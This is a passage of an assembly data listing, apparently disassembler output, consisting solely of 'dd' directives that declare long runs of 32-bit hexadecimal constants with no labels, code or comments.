		dd 0B37AD724h, 9754312Eh, 361E33C8h, 0B6008735h, 0CCCDCF64h
		dd 0DA30FB3Fh, 18886098h, 3E3B31ACh, 1E35013Eh,	0E07B843h
		dd 0F0800FB2h, 0A9CB0A3h, 85A1845Ah, 0F22980D8h, 7393AA30h
		dd 2AE0B501h, 38FF723Ah, 2AE333E0h, 3FF8A631h, 18EEAA42h
		dd 145D14F6h, 0B8078880h, 81006E21h, 362A3510h,	1939B57h
		dd 0F065BEB6h, 8785B866h, 755CA2A0h, 638A163h, 0AAF1F481h
		dd 0B8005832h, 0C53B6355h, 704256BEh, 397C0Ah, 0FA1CA1FFh
		dd 655B2496h, 2D282A78h, 2F0194C6h, 4DFC3385h, 5C6227ACh
		dd 0EE21AA05h, 474802E2h, 7E11942Bh, 0B0A4A3CAh, 4082C2F3h
		dd 626CF890h, 0FD2AE835h, 0E2EE2136h, 826AD6C2h, 40D7EBC0h
		dd 3536EE68h, 866834C5h, 1700F126h, 0E04B293Eh,	5CFC439Eh
		dd 0F87D1456h, 888E604Eh, 60A00B75h, 8B9E2800h,	2F813C69h
		dd 67E0021h, 34D2E75Dh,	0AB0380BEh, 0BFF4B0D5h,	3EA000C7h
		dd 0B6CF14C1h, 0B272195Bh, 48AD8402h, 0C39A90B9h, 8C1D82DBh
		dd 676D194h, 19BA4610h,	0A300ACFAh, 8FF2A99Dh, 0D59FBEh
		dd 668BDC37h, 0E4C334D4h, 8011323Bh, 0B14187D6h, 857257h
		dd 68F66CB3h, 0E43513C0h, 331B2B00h, 3CD41C2Ah,	0D5A71F8Bh
		dd 957B808Ah, 34A986FDh, 50E784ABh, 0D11876C2h,	0B900E4F4h
		dd 0AC468D38h, 802D9E26h, 4363B085h, 0A74D31h, 0C93A9BB9h
		dd 0C609FC10h, 0DDD71100h, 0F50E73B7h, 0F800212h, 7650A2C1h
		dd 7BD83440h, 738A680h,	90B80E6Dh, 6A9BA016h, 0B7A03D2Eh
		dd 9C00AC20h, 0E5D06DECh, 0EEF727Dh, 0F10A879Fh, 202EF486h
		dd 0D0754500h, 0CF8DBEB7h, 4B280195h, 20252C72h, 0FCD5F027h
		dd 7B99E226h, 1A01031Fh, 2DC59704h, 0CF6E4080h,	0CC9D236Fh
		dd 823C70CFh, 811455E5h, 4B1C9098h, 0D044088Ch,	3B00DD20h
		dd 0A0686FE5h, 0B8C3F3B4h, 0BCC407EFh, 603E115h, 28816016h
		dd 2792D088h, 3EF29A3Ch, 0C62E0C3Ah, 8C2190h, 1A72CB83h
		dd 2CA2B70h, 222AE13Ah,	0E2567F7Fh, 4F0F0032h, 677CFDA0h
		dd 0B500B2D0h, 4C20263Ch, 72B08D7Bh, 3F7F0107h,	0B2099D39h
		dd 45805725h, 0CFFDC05Ch, 771CE2D5h, 3947B38Dh,	6370119Fh
		dd 0EA6825h, 0B1ABFD94h, 0D6F49374h, 55055A00h,	3BA3BABCh
		dd 0B8761EF7h, 10B919C7h
		dd 0F0ADED95h, 3F0054BEh, 0C82E0567h, 249857FAh, 609302h
		dd 0F643B187h, 690065DFh, 0CA485E4Ch, 3F516296h, 0DD80FD3Fh
		dd 897AE1AEh, 3605475Ah, 65EC9F4Dh, 1E8558C0h, 0AC5C007Bh
		dd 0F795A63Eh, 1B2457E2h, 2F0075FEh, 0B591CC6Dh, 238B0043h
		dd 0F637E1F3h, 0AD01B681h, 8AF7EA44h, 3E60F935h, 285005Fh
		dd 6522EB1Dh, 0AF00A108h, 15217CB1h, 4A28D8h, 0A5DC4B50h
		dd 298236F4h, 183826B0h, 6DE8002Bh, 55FBF7A6h, 0DBAD0045h
		dd 0DB87B62h, 0AF0535BFh, 0F449689Dh, 0F874FC00h, 0C0A4D05Eh
		dd 34028FD1h, 11011586h, 0D26803D4h, 508070BDh,	9D946372h
		dd 470A4F9Fh, 0B4BB46F3h, 1142CD00h, 3F0E862Fh,	0D2078B5Bh
		dd 10B9BE36h, 8EDBFCAh,	4051FF07h, 0D826DEFBh, 0C35203A1h
		dd 503F83B3h, 0B08A5039h, 234A383Ch, 9D59004Bh,	2D7E08A5h
		dd 6008E8Bh, 0D80D357Fh, 28AF5EBh, 9C3B10B1h, 9A809962h
		dd 36EAD7B7h, 4C7D61F2h, 0CFC27506h, 0C15384h, 1DC89F46h
		dd 6354486Dh, 4F0CA50Eh, 4BAB2076h, 387CC725h, 368EA6B6h
		dd 70A03972h, 638851EDh, 0F786902Ch, 0C3BBC900h, 0B6A55h
		dd 0CD7B6146h, 226E7196h, 2BC6F524h, 0C2F9F102h, 4EC3E0C0h
		dd 4BF0EFh, 0AF9680BBh,	268A9F22h, 4294EC00h, 924586F7h
		dd 0C0A0DD97h, 0C3370F3Fh, 0A8002E08h, 0DFF2AA65h, 7C60E6h
		dd 0B8B5AD09h, 0DA298936h, 2372A400h, 4EC9F967h, 6E118ACh
		dd 0D2E24898h, 9E002472h, 146AC25Bh, 4B18290h, 776D558Ah
		dd 83888450h, 0DBC0C13Ch, 1D005FD5h, 0FEFCED4Ah, 5A14651h
		dd 0B9A2E518h, 0BBE3C0DAh, 9200DECEh, 0B710263Dh, 0FA5E49BAh
		dd 2BBF1F41h, 57A4C08Bh, 956B0BB6h, 31BD7001h, 2827CD08h
		dd 83F9807Bh, 49018901h, 0FEB93C12h, 0E5DC702Bh, 793F3F56h
		dd 9C0B02Ch, 0D822B6E2h, 4E6045DBh, 0F04843AAh,	0CF5D1D60h
		dd 0D61A3480h, 7500431h, 47BC7AFCh, 6CB20073h, 3707FA49h
		dd 0EA89171Bh, 2F8DDB20h, 0E1240081h, 9A35CF10h, 4602A71Ah
		dd 0C7D904BDh, 3198817Eh, 94CC9695h, 25ED0026h,	0A0CE38D2h
		dd 5B009170h, 3E9A1492h, 38E159C3h, 0AE801D56h,	6380C6EBh
		dd 0BA03DBCBh, 0B16A9730h, 983FC0D1h, 0EE380020h, 6874959Dh
		dd 0C700A729h, 31F7E0Ah, 1F37AA44h, 1892CA10h, 75EFF1B3h
		dd 7AD26903h, 0F8FD1BEBh, 4805E9B4h, 0FC0FA804h, 7422B690h
		dd 88A091A9h, 44F160BCh, 5ACC3Ah, 0F85CFE1Dh, 6FA186C9h
		dd 0FFC0D86Fh, 2FFD7B4Bh, 8901B6F8h, 5A095426h,	56C9E3FBh
		dd 0F6EA7C24h, 0C0FC0748h, 10E2820Dh, 3D697C2Ch, 0DB733416h
		dd 97CF5740h, 13EBF8F7h, 49EE85h, 0B83EFA40h, 0CC1E249Bh
		dd 0FEC3F5E4h, 0F80B9754h, 0F9874Fh, 0ACFBC28Ah, 0CDD4E17Fh
		dd 8C818800h, 0BB0F117Bh, 0EA90E4FAh, 3E30EBFh,	0C60022F4h
		dd 80FBB857h, 7C2BAD00h, 66617589h, 0D70A036Ah,	88CAD26Ch
		dd 0D441A7B2h, 27C3C44Ch, 1CF02301h, 0F76C5025h, 7B2E7D8h
		dd 70A9D3FAh, 0BD3ED280h, 2C01B481h, 1536FC60h,	84316128h
		dd 0F653500Fh, 0E2BE204Dh, 2E25DCh, 34ABC964h, 52BD2B95h
		dd 6622A0C0h, 854426h, 0D56EE2Ah, 0A9D5D7F4h, 0E4B41E1Fh
		dd 7D617C00h, 0E9DFA5h,	45394152h, 0FC602DD8h, 0A37A3400h
		dd 0DE125BBBh, 0C3112470h, 3EFE00C4h, 2C3CAEBCh, 0A0E2E000h
		dd 0F309A6DCh, 22BD26C5h, 3EE1E384h, 5CF0D440h,	0FEF03725h
		dd 0C3F00ADh, 0DA81FB7Eh, 547234E2h, 857AEC71h,	0FC1DD00h
		dd 0BB984A15h, 2AA8133Fh, 801C1C75h, 79F1AB41h,	1C2E168Fh
		dd 5D24C27Eh, 0BD1A5300h, 1FA61ADh, 84FB6308h, 0D8137EB7h
		dd 0B300877Dh, 18B66474h, 90AAA839h, 739912A0h,	6A6842BBh
		dd 0C560B11Eh, 0F903DB01h, 0C944AE7Eh, 99A80F3Eh, 0E600702Fh
		dd 5DF3FB61h, 54BC6D2Ch, 0B6029080h, 0DE567Ch, 29FBE463h
		dd 0EEFF78EDh, 88602000h, 2C91CA13h, 0E4170170h, 58408403h
		dd 8BCDDC55h, 0F3EA3Ch,	643E2FAFh, 0F8B1A6h, 12BF068Fh
		dd 0A2A71D47h, 594D6200h, 0C09705BAh, 27A10F7Fh, 3D8F790Eh
		dd 0C9D19BE0h, 8100CA6Ah, 0D73EE4E9h, 800ECDh, 40772E8Fh
		dd 9F4AE12Ah, 0ABA36D00h, 0B8168E0Bh, 0C4E0004Fh, 0B38696F0h
		dd 82005370h, 0ECE2C22Eh, 7B8190Eh, 4A83353Dh, 8A79A011h
		dd 0EA008756h, 7CF894ADh, 8C51A9h, 63A8CA6Ch, 5165AF1h
		dd 74E06101h, 66AE7F35h, 9012D080h, 0F0925ACh, 9457EF00h
		dd 855C3422h, 62750001h, 67174C3Ah, 2101CEFAh, 5874DA16h
		dd 8DDC7B8Ah, 0A7342CEEh, 6800069h, 0CB6E625Dh,	27C6A824h
		dd 0D6F17800h, 76BF73h,	3D2F03B6h, 0CE07AAF8h, 2CB0C858h
		dd 0A6014668h, 2BE34B84h, 70FC60D6h, 9F760B92h,	9F8EF736h
		dd 84BE4E24h, 0A3E8C051h, 0A82C726Bh, 88800CCCh, 539E36C5h
		dd 459D0ED3h, 1D40E4DAh, 8B449698h, 70037FF2h, 0DE9AE954h
		dd 0F8898FFh, 0AF7400FEh, 6BF1A481h, 3B30233Ch,	94B66140h
		dd 3FBC1FB7h, 9F2781DAh, 6052AC22h, 0FF6E6C74h,	3C130410h
		dd 82A06F07h, 47270619h, 0DCC75280h, 7E0D07F9h,	0B4D1ED69h
		dd 3818C03Ah, 3501403Fh, 0B8BC28D7h, 547448DEh,	0B6D300C4h
		dd 353BA491h, 0B4F628CFh, 0BD074094h, 23B09F1Ah, 0A01834h
		dd 4087381Fh, 6628DF33h, 0C7193C7Bh, 3BC0BFF6h,	48F8C4h
		dd 0D0DEE0BBh, 4C775654h, 0D6580300h, 8EA51265h, 13985Ch
		dd 0D8A97B5Bh, 0BD0148C4h, 0E58D1900h, 6C2FBE98h, 4E8C00A0h
		dd 0D2CF5A38h, 0DD1FAE1Bh, 0ABC00F25h, 0E0A5B6FAh, 60FC0090h
		dd 6B8AEFD8h, 4D000B85h, 490DB1E9h, 7398B40Ah, 99D51F3Fh
		dd 5B7C40EBh, 0D7AAA3A6h, 0CE002775h, 8033D42Fh, 14F4F746h
		dd 808561BAh, 0C029021Fh, 0DAA82286h, 9D00FB7Ch, 8296E67Fh
		dd 0FCC4908Bh, 298700ADh, 30C63769h, 0F50067E0h, 9891531Ah
		dd 46C28h, 7597F1F4h, 722D09F2h, 4668F01Eh, 0AA3D7DC0h
		dd 0E2EB34Ch, 15CF3932h, 3F799440h, 0A4A2CAA9h,	530CE600h
		dd 9F00496Dh, 0A41077F9h, 548DCE7h, 23E0FEA6h, 0B980D2B3h
		dd 95410497h, 10802AD1h, 0DA7D66A1h, 99B072C4h,	0D3001B79h
		dd 313290DFh, 3D085A9Ch, 0F398BD04h, 0FA13297Fh, 89864888h
		dd 44B20866h, 0F9445FF3h, 31AC2006h, 0BC115242h, 0CBB21F4h
		dd 0BE51812Dh, 20FC0744h, 0C742DB6Eh, 29807519h, 0B928414Ah
		dd 23299418h, 855B1150h, 7059610h, 0FCB5B81Ch, 0C8E3078Eh
		dd 10BB8900h, 0F8DE00D8h, 6E4A5E39h, 34260602h,	0F90F385Fh
		dd 4CBCE008h, 3467F96h,	1F27A0F1h, 0A6E805BBh, 0AE023FCFh
		dd 0B4DEF685h, 0A85AA7h, 0D21F338Ch, 0D4DA65DCh, 300784B2h
		dd 22BAEEB4h, 2A544380h, 6D7F009Eh, 0DBD24DB9h,	8900B8A3h
		dd 7B6145E8h, 3A3675BDh, 4C818793h, 0CB20322Ch,	0EFC2308Dh
		dd 0F122AC1Dh, 406A4A49h, 6E684h, 989D0A3Eh, 743C5075h
		dd 17CC51Ch, 65DA5CC0h,	17B0692Bh, 842F42h, 3BC25D46h
		dd 0F85C3C12h, 5930030h, 9711B845h, 0F9A5007Eh,	0D2E2D932h
		dd 8C0046FAh, 1C26C69Ah, 1EAD415h, 73FDF205h, 0F0FA45FFh
		dd 722CF17Bh, 3800E602h, 9FFEB178h, 807338D8h, 977C9124h
		dd 0F96C0265h, 105066B5h, 0AFDB490Bh, 7A6855Bh,	2FE7A480h
		dd 0A765166Fh, 6B9C000Ah, 201F1594h, 0F1ED7704h, 6CD05205h
		dd 5A6B872h, 7C16B7Ch, 0FFA5C0BDh, 320755C3h, 0F417C646h
		dd 68C80BB0h, 7EC476EEh, 57C07EAh, 903F6CFEh, 0A714112Dh
		dd 0DAE1DB07h, 63F19679h
		dd 0F1EC285Fh, 2B6C00F9h, 1F0F91D0h, 55090CC7h,	4654A8h
		dd 0E8AB4C14h, 2F7E000Ah, 727DDF26h, 0EB0048C5h, 3F6D4A61h
		dd 3DC19DE6h, 379E14Eh,	935E5AE8h, 80C06E59h, 0F4122BD4h
		dd 0CC80B763h, 3F4E038Fh, 73329Ah, 50C8209Eh, 90CAA0F4h
		dd 8630AA70h, 0BC5EE0C0h, 9E640375h, 5BF89C33h,	59C997D0h
		dd 0D8EFA809h, 0E92400B6h, 0BE6E23h, 115F7C75h,	0BF4E0A5Eh
		dd 3DA1E3Eh, 0B4682DD7h, 28FE9Ch, 422164B0h, 0BC8F33EFh
		dd 0F00002ECh, 0D0804779h, 1498AD6Ch, 844ABB55h, 190D7700h
		dd 62C849D4h, 0B76DCF16h, 0FC8A2801h, 0A6DCAA30h, 0E4B000A2h
		dd 0CBF62A0Eh, 7800EFB4h, 0E657594Fh, 0E941E8h,	603002E0h
		dd 0D2BBDC44h, 80EAF300h, 0A73952A8h, 0ECDD00DFh, 7C56B13Bh
		dd 35275D10h, 0B81622h,	0F51A58F0h, 6D32FEE6h, 3EC7CC00h
		dd 0B9E07D7Bh, 97773FCh, 0B8C7966h, 64120580h, 1812FAAFh
		dd 7000D45Ch, 49D629D9h, 126C7F83h, 828005DEh, 94797E7Ch
		dd 0C407B597h, 11104E20h, 189886E8h, 908B6991h,	6B001AC4h
		dd 0C7F7508Ah, 244457C8h, 74DCAEh, 0F2F173BFh, 401FC307h
		dd 0E476F12h, 406EE288h, 2C9699F7h, 831100F4h, 7E0EAFFh
		dd 33EED8Bh, 42A300D4h,	55D0E75Bh, 0F46350E4h, 0D92D01E9h
		dd 0B324AD0Bh, 9C0DD4F1h, 0A28B1A0Bh, 0BC9080E8h, 0B0CAC6h
		dd 0D8E611DFh, 360108C5h, 2C06D100h, 0F3E50D4Bh, 0AC830088h
		dd 0CC91FB9Ah, 0F8C0CE17h, 454E0F4h, 0C8F8007Ch, 407BD878h
		dd 2E0060C1h, 6B903EEAh, 3EF66F0h, 0B08CD64Dh, 35807E1Bh
		dd 7000279Fh, 4A95389Bh, 15F1EFh, 22598F12h, 0C58E042Bh
		dd 0BC45D600h, 0B474ED0Bh, 0A1080111h, 0CB9CF60Ch, 0B2E7EC6Dh
		dd 743BB924h, 0B4EC4D02h, 1FC4910Fh, 9A8030F4h,	63D40020h
		dd 0DB021D92h, 2C006FF9h, 77C2A2DDh, 278B2EA9h,	0E483DF3Eh
		dd 57E07302h, 44967D30h, 47F28038h, 272236C9h, 32E60714h
		dd 26E1827Ah, 6B13F2CDh, 0C800A7BAh, 89B3BE8Eh,	30210741h
		dd 10AD8165h, 0AA0EA2A8h, 0BDE27800h, 7758B957h, 59480144h
		dd 4AAEE77Dh, 32408075h, 62145DD0h, 50FD0181h, 6A2EAB92h
		dd 1E84D4CAh, 0C908FC96h, 0A0909424h, 0DACB2A0Ch, 5600DDE8h
		dd 91743AD6h, 1EB29B3Fh, 0DD49EDADh, 0E52C00CDh, 67134D85h
		dd 26EA3207h, 0CAE06E83h, 0A42007h, 9D25FA53h, 513B1CA8h
		dd 0EF8BBD01h, 75A315F8h, 26B06220h, 4B0458Fh, 73BCFB1h
		dd 0B4FA5483h, 8935C580h, 4C22AB6Eh, 500D401h, 2861C072h
		dd 84033AF8h, 0DEE69276h, 0F7A2D0EEh, 0E31E1CE9h, 7EC03h
		dd 54EADC49h, 3A07AC60h, 8CFDB672h, 62ED3D70h, 0E9C00F3h
		dd 0F0529F81h, 84FC337Fh, 0C9E93724h, 819803Dh,	78B74977h
		dd 33E71446h, 8000A91Ah, 2765BA68h, 0A412EBA3h,	0FC207B3Bh
		dd 26B194Dh, 0EA60ADE5h, 0D260467Eh, 0AC0009BFh, 0F7107369h
		dd 0BD716FFh, 41BE9BF5h, 881BDD01h, 603C6061h, 0FBFF2700h
		dd 74376480h, 2E67348h,	6F780868h, 0ACE8C1E4h, 38E15BCCh
		dd 0F4EA0020h, 0BD02AD1Bh, 6DC40067h, 88CDD3DFh, 3400AE35h
		dd 24015004h, 1279CA5h,	6260BA1h, 81E4C67Bh, 22895CA8h
		dd 85E0E543h, 3113F25h,	7410E900h, 0C053D980h, 12001490h
		dd 0A2ACD6AAh, 11EA932h, 9C618F70h, 308B5250h, 7B002924h
		dd 0D2EB4EE2h, 3A6CA4C4h, 0FC6AD5h, 0A82397FAh,	0B1F4E7CBh
		dd 0B0680400h, 0DFAE919Ch, 0A4B500E1h, 0E90CC051h, 550011E3h
		dd 9D2B8601h, 0B7CA93h,	27B9F91Fh, 2A104B9Fh, 0A839FA26h
		dd 0A7022F00h, 77B3D247h, 618030Ah, 66C14911h, 4A505688h
		dd 0FBFE2200h, 7C691343h, 91FF028h, 82F6A6B5h, 0A300A41Ah
		dd 0EE620A68h, 27B58309h, 8090092Eh, 35587AC6h,	0E0600D8h
		dd 845F2173h, 0AE1C8AFAh, 0F40F019h, 0BA17FFD1h, 2192009Bh
		dd 0A20AC541h, 0A7005498h, 51DBF918h, 0CF475Fh,	0D33D8324h
		dd 8CCB48FAh, 0A40C900h, 1528AFABh, 1F0800A0h, 14C16F9Dh
		dd 0F100FE2Bh, 12D2D057h, 8C2CBDh, 943AB73Fh, 4C598596h
		dd 9B0398A0h, 65001776h, 5D19DCE5h, 3D4B6C8Ah, 9F24D16Ah
		dd 332502D4h, 7068C629h, 3001E85Fh, 0E2FD1DDBh,	9080BBA1h
		dd 7C2B60FBh, 70036B41h, 0A8AAEF9Ah, 0F185A0A5h, 9CB700D5h
		dd 0B8F34879h, 0EC7535A1h, 996E2100h, 6BEFAFBEh, 81873808h
		dd 3D8CDA24h, 0F02017A7h, 0BBF925F2h, 0DF0F120Fh, 0B29640B4h
		dd 1485185h, 7C2CD8F7h,	0E817CE5Ch, 90F8C8FEh, 35AE0BAh
		dd 13014C21h, 0EEF00430h, 23CD3B2Eh, 66901985h,	0AD840031h
		dd 478D9DDEh, 5768B40Ch, 766458E1h, 0E63600B7h,	54AE0F85h
		dd 873172C5h, 63BA2197h, 0E0701CFDh, 21180561h,	80FF6C95h
		dd 0BADA0750h, 360034B8h, 858F024Ch, 42E9B2h, 0C95E52F1h
		dd 5BBA0118h, 4BA61B0Bh, 0C5DB013Ah, 9CE8F623h,	0A18F0037h
		dd 145EA907h, 3E006384h, 0C02BA393h, 0C056B50Fh, 240A29A0h
		dd 470B9752h, 85D14ED5h, 0BCE055D4h, 267A00A2h,	46C87759h
		dd 0EC00CAD3h, 0C9B46A95h, 0A10425h, 0B37EE472h, 9AB2F7BFh
		dd 0EDF3E900h, 0C5AC970Fh, 174E1D7Ah, 650B80CBh, 965DC645h
		dd 0E244A60h, 42A039h, 0F2D54ECFh, 8D82024Fh, 21CB5203h
		dd 81E8ACCDh, 0C8782BB4h, 3FAECE08h, 0A5EED800h, 3D4ADA4h
		dd 96CD762h, 36E0C3FFh,	5B033540h, 1D3E4C77h, 22100F37h
		dd 0C5008D33h, 0C6C8773h, 0EEE019C0h, 13EDCCh, 41B9DA0h
		dd 7D25E327h, 0CA69E43Fh, 0DB03BC00h, 1D53D61Eh, 0B846C4C2h
		dd 35420200h, 16793993h, 14257224h, 3016D42h, 60BF855Ch
		dd 1DED5324h, 0FD35F300h, 6719A358h, 0CB0E007Dh, 92B4E530h
		dd 0F0012BC0h, 0B962036Ch, 8830D23Dh, 0F1AC010Dh, 7CF7E9E6h
		dd 0A7F3602Eh, 654EA400h, 17941B50h, 6DA10326h,	143BB382h
		dd 8BFC115Ah, 93002E4Ch, 1AB51016h, 0A57BD91Bh,	3E541200h
		dd 0DD417825h, 1D718Eh,	96F05B8Bh, 86FB7AAAh, 6400AE77h
		dd 17DEFC2Ch, 0E9E737h,	3F89C816h, 9B617BCEh, 0B086631Fh
		dd 0BE078440h, 0A1DF3Bh, 0ECF8BD6Ch, 0C55DFEFCh, 420ED5F2h
		dd 474804C8h, 0DA0D0C7h, 0E2DFBA07h, 9B1C00FEh,	303850B8h
		dd 1807825Fh, 0F564BDF4h, 6F9560D0h, 732D0068h,	0A37D78BFh
		dd 0E83A1B37h, 20778049h, 53C946A2h, 0E344B631h, 0AE912394h
		dd 6202708Ah, 0D32A2F07h, 2CF05A8h, 545285DEh, 5F9400FCh
		dd 0E75BC188h, 577D1506h, 1125BCh, 0C67F82CEh, 1BF0E1A7h
		dd 0FAA5D500h, 5E080724h, 0DF5C008Eh, 46BF0B76h, 0EA0AF1B3h
		dd 0BC393B6Bh, 652CA7E0h, 595A3A4Bh, 0E6F2AE00h, 0FB317502h
		dd 86CC9D00h, 0E0C9230Eh, 0D6F0F0h, 8921C0E5h, 0F70F5944h
		dd 864D9514h, 8E1B04B3h, 0D4A0FAF5h, 0FFCB189h,	1143C534h
		dd 258037ABh, 4090081Bh, 64662E25h, 5B7F18h, 12E3F44Ch
		dd 0AB69074Eh, 2EBCAE00h, 2DD77C43h, 5D580096h,	2B91BFF4h
		dd 7224F597h, 510744EBh, 54C117B7h, 0E0CE707Eh,	60906D98h
		dd 0F7722139h, 0CA580133h, 79F3C028h, 17DF80B7h, 6E87A7h
		dd 993DB24Ch, 9A03660Bh, 8D7D049h, 600ED801h, 935B058Fh
		dd 0D3E0CBh, 0D97F38D1h, 870B1C59h, 2E8FD24h, 0C06298AFh
		dd 734E9C18h, 301A5833h, 0CDCA1300h, 54F85935h,	0F4B27901h
		dd 7211F15Bh, 0D210D4h,	0DA803E5Eh, 1FFBB56Eh, 0A59C603Ah
		dd 873C90DFh, 23902C5Fh, 505B00AAh, 22A59A0Ch, 6200A9E0h
		dd 0C6CD8E30h, 3AF6C7B3h
		dd 0A780F2A8h, 96212F1Ch, 8100044Fh, 0BCA0BF12h, 84852Ch
		dd 0D08E11D8h, 39A665CBh, 4CDFA22Ch, 51C17780h,	3C91F35h
		dd 451B9AA3h, 4398F4A0h, 0DFEEAB99h, 0E4F5AA00h, 0D3D56EDEh
		dd 4AF201A5h, 5A8515DDh, 81D03052h, 72D337Ch, 406C84E5h
		dd 0D8760880h, 0B3E00D7h, 5D05C849h, 14F4625Eh,	9478BB2Eh
		dd 0E869C101h, 3864129Eh, 99888F3h, 0B64052F4h,	6A8B009Eh
		dd 3EF88C35h, 0A207B7AAh, 4A4054A6h, 0AD838500h, 0ED4F3AEAh
		dd 0AF8D0400h, 67DDF41Dh, 5F2F3Eh, 0CEB7B4D7h, 5B5695h
		dd 0AA081944h, 0F16C7C53h, 0B6E77200h, 12ED745h, 0AC600026h
		dd 1AC34EF7h, 3E006A3Ah, 0FACA0747h, 0F1CB44h, 250E87F9h
		dd 75EDAC3Dh, 883D03E2h, 8DC29690h, 28DBEC00h, 3CB0676Dh
		dd 1C82150Eh, 0EE2CDC29h, 0CCD983E0h, 0E9F9E200h, 0BAB5C0B7h
		dd 2DE300ACh, 0A52E9E9Dh, 99A047F8h, 11CCDBCh, 80BF780Fh
		dd 0C17FFE9Ah, 1FE2D2CEh, 0C55ED7DAh, 0AE8742h,	0FF07ACE4h
		dd 4F046433h, 0D7BBB8D3h, 0E4ADE8E0h, 0A72E0170h, 35B4F21Dh
		dd 0E8A4498Fh, 0C6383BA5h, 0CFE38016h, 366BF6B5h, 9E1407F1h
		dd 0F385ACD0h, 3EA84513h, 3100F990h, 74F2567Fh,	7BA51A94h
		dd 4BAD9030h, 289CC0D3h, 0A0E6C2BCh, 82970605h,	0C8408CFCh
		dd 0A664D12h, 0ADD2005Ch, 2E4C6FDBh, 0D402DD72h, 0F25DF0E3h
		dd 0F3F4A08Ah, 0CCA8F33h, 0CDFC53BBh, 5F13B288h, 4481AE08h
		dd 49304C20h, 38CF0015h, 0DBE0ADDEh, 0C700B8B5h, 1F8C65FAh
		dd 0EA30C6F1h, 8A1400EBh, 0BDBE0894h, 6C00F309h, 8069F01Eh
		dd 813076h, 0B2EB7BF1h,	7F168BC6h, 44000E7Dh, 0AC01BD85h
		dd 27865561h, 1402A204h, 5C541D49h, 0A80AE65h, 701A0CB0h
		dd 6D890019h, 0BB7DAA65h, 4F7D2B88h, 0E31BD60Eh, 2EF121FBh
		dd 74E83109h, 2D31DF0h,	0F5DB80AEh, 9C6B5669h, 1C29DE00h
		dd 0C56083A8h, 0EC300143h, 34693D3Eh, 0EA70E8CFh, 5519A003h
		dd 0C85FE5F2h, 0F81ABCh, 8DD63326h, 230C5CE6h, 5B5E8C00h
		dd 61361C14h, 547100B0h, 69305B5h, 0B9008225h, 6984CE1Ah
		dd 17AA87E3h, 0C7F3FBDAh, 28007BCCh, 568A12B8h,	0EF43BB00h
		dd 0A05B82B4h, 0B0E20008h, 0C66504BFh, 0F31EA64Eh, 3B92B5Dh
		dd 2858DCC8h, 6BB6F89Ch, 41482E3Dh, 0B14B005Ch,	38D67853h
		dd 9227E800h, 1CA43601h, 4691126Ah, 6084F08Fh, 509B3800h
		dd 0E520817Fh, 7B010037h, 0D878C774h, 0C0007192h, 23C4EF27h
		dd 5FAD314h, 9BEDEC28h,	8FD04309h, 0CFC04C97h, 0EA0494A4h
		dd 0DD980735h, 8C002CACh, 0FCA28A51h, 0B70FC0D9h, 78238Bh
		dd 27F59C05h, 16EA1C99h, 816602BBh, 80C0FF9Bh, 2C0348E1h
		dd 0B9410604h, 0D78F06Ch, 5A700008h, 90D23F07h,	0C900C6F3h
		dd 0C8DC6DFAh, 2FB692h,	0FBE59DDh, 78F16FBCh, 6826541Eh
		dd 0A82B2873h, 126E627Ch, 0D0EB579Ch, 0BFC76D10h, 9BF71400h
		dd 1FB5C270h, 6EDB03B7h, 27FB8DC8h, 6101D678h, 213DCA1Bh
		dd 52A932Bh, 0A0FCE838h, 7C9A43ECh, 5CEECB1Dh, 1CB05452h
		dd 711799Eh, 0F48B21B0h, 0A4138032h, 31751F99h,	0B11318B6h
		dd 0F58AA801h, 40E2BA08h, 6B1FF2C0h, 0B8E07A41h, 6107EB80h
		dd 8CBFE6D2h, 0AD458840h, 7B6200FAh, 0A8E49011h, 21764AF7h
		dd 97FCA61Fh, 3FD7FF40h, 0FA76C12h, 42964E32h, 100C4023h
		dd 0C17ED4DFh, 0F0AA99B0h, 700B435Ch, 0E9DDFE3h, 0EBD8602Fh
		dd 0F3E68Ah, 2FC19F4Ch,	0A8FE1415h, 626F2E00h, 4035F1DBh
		dd 19FA0794h, 179761Ch,	0E8DE3D82h, 4A13C5E5h, 59090EFCh
		dd 1F26003Eh, 0AD78D0h,	25F8C8BFh, 876E3418h, 0C0AC8003h
		dd 0C889FE7Dh, 0D78CE5h, 36A9884h, 0D521ADA7h, 369DF500h
		dd 3ED06B5Eh, 584E07E2h, 8030C4D6h, 0FC34B12Fh,	157D6D00h
		dd 0E55E3883h, 1766Ch, 26663137h, 0B75751AAh, 4940B500h
		dd 0F9A11C02h, 0C1D3003Fh, 27386C19h, 1E172D8Dh, 0F40001F7h
		dd 0CD82DEF6h, 7D42002Bh, 0B82E0990h, 5B01A5D2h, 0E0E17CF4h
		dd 0F2804660h, 7D84D8ECh, 0C6005010h, 0D67781A3h, 0B9A555h
		dd 0C8797ADEh, 38DBD76Ah, 184C8C01h, 0ECEB0EBBh, 0C12D8BDh
		dd 37110028h, 0F1A9FF97h, 0D201E2FAh, 84C4A28Ch, 0CE30C568h
		dd 96B303B6h, 0AFBF1B69h, 224A1A02h, 40A70212h,	0B32EB1h
		dd 0C35E82A3h, 0E6CBBBD1h, 0D52CCEE2h, 800F1CCh, 538CE77Ah
		dd 399883h, 0AAB759ADh,	2D9BC1C2h, 990C1A00h, 3D215BE9h
		dd 0F18D0F07h, 55A31459h, 69A087BDh, 0D20CE6A1h, 7830B3B9h
		dd 7580025h, 0E25943B4h, 0DA9040B7h, 868C3F00h,	4F4A57D5h
		dd 998524B0h, 0FF873E14h, 30C2E6DDh, 0C023F641h, 97F15600h
		dd 0BFE58274h, 35610145h, 1EC9E96Ch, 6ECAD883h,	0DFEC0C00h
		dd 6AC6A5E1h, 8F6400E2h, 32DC87B8h, 701C5D92h, 0CDC04583h
		dd 50E6D0Ch, 3F9B00ABh,	9CD52E99h, 29000A8Dh, 7EDE35BEh
		dd 60E93708h, 802150CEh, 0CB004B0Fh, 5A9273ECh,	227011h
		dd 51E0D7B8h, 9F2E3E58h, 0D87E9801h, 0F80D3804h, 1DE83230h
		dd 40E69980h, 0C9D1AFDEh, 0F017E4B8h, 770021BEh, 3CE3D7E5h
		dd 0F8470084h, 0A37A4D85h, 0B4009F7Bh, 0EE705BB8h, 0BB5040h
		dd 4CA0DE93h, 0C61F18BCh, 26036AF8h, 64AD4643h,	891AC031h
		dd 74AA0EEAh, 0D414113Ah, 0CF9CEC00h, 0AC046FCCh, 6CD45102h
		dd 802C39E3h, 0B7B188E5h, 3A3400C5h, 0BDB677FBh, 7800DE4Ch
		dd 0EA25D229h, 3AB5248Dh, 0A4D2F0F2h, 4108E200h, 75A04472h
		dd 86BA1C04h, 0B884E081h, 56BCF80h, 33D61253h, 0D4B4049Ch
